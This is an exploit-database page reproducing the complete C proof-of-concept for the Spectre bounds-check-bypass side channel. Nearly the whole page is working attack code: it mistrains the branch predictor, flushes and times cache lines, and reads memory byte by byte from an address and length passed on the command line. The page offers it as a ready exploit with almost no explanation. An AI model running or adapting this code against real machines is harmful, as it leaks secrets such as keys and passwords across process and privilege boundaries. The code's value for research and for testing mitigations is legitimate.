Multiple CPUs – ‘Spectre’ Information Disclosure
/* EDB Note: - https://spectreattack.com/ - https://spectreattack.com/spectre.pdf - https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #ifdef _MSC_VER #include <intrin.h> /* for rdtscp and clflush */ #pragma optimize("gt",on) #else #include <x86intrin.h> /* for rdtscp and clflush */ #endif /******************************************************************** Victim code. ********************************************************************/ unsigned int array1_size = 16; uint8_t unused1[64]; uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; uint8_t unused2[64]; uint8_t array2[256 * 512]; char *secret = "The Magic Words are Squeamish Ossifrage."; uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ void victim_function(size_t x) { if (x < array1_size) { temp &= array2[array1[x] * 512]; } } /******************************************************************** Analysis code ********************************************************************/ #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ /* Report best guess in value[0] and runner-up in value[1] */ void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { static int results[256]; int tries, i, j, k, mix_i, junk = 0; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0; i < 256; i++) results[i] = 0; for (tries = 999; tries > 0; tries--) { /* Flush array2[256*(0..255)] from cache */ for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ training_x = tries % array1_size; for (j = 29; j >= 0; j--) { _mm_clflush(&array1_size); for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */ /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ x = training_x ^ (x & (malicious_x ^ training_x)); /* Call the victim! */ victim_function(x); } /* Time reads. Order is lightly mixed up to prevent stride prediction */ for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp(&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */ } /* Locate highest & second-highest results results tallies in j/k */ j = k = -1; for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ } results[0] ^= junk; /* use junk so code above won’t get optimized out*/ value[0] = (uint8_t)j; score[0] = results[j]; value[1] = (uint8_t)k; score[1] = results[k]; } int main(int argc, const char **argv) { size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */ int i, score[2], len=40; uint8_t value[2]; for (i = 0; i < sizeof(array2); i++) array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ if (argc == 3) { sscanf(argv[1], "%p", (void**)(&malicious_x)); malicious_x -= (size_t)array1; /* Convert input value into a pointer */ sscanf(argv[2], "%d", &len); } printf("Reading %d bytes:\n", len); while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void*)malicious_x); readMemoryByte(malicious_x++, value, score); printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear")); printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]); if (score[1] > 0) printf("(second best: 0x%02X score=%d)", value[1], score[1]); printf("\n"); } return (0); } |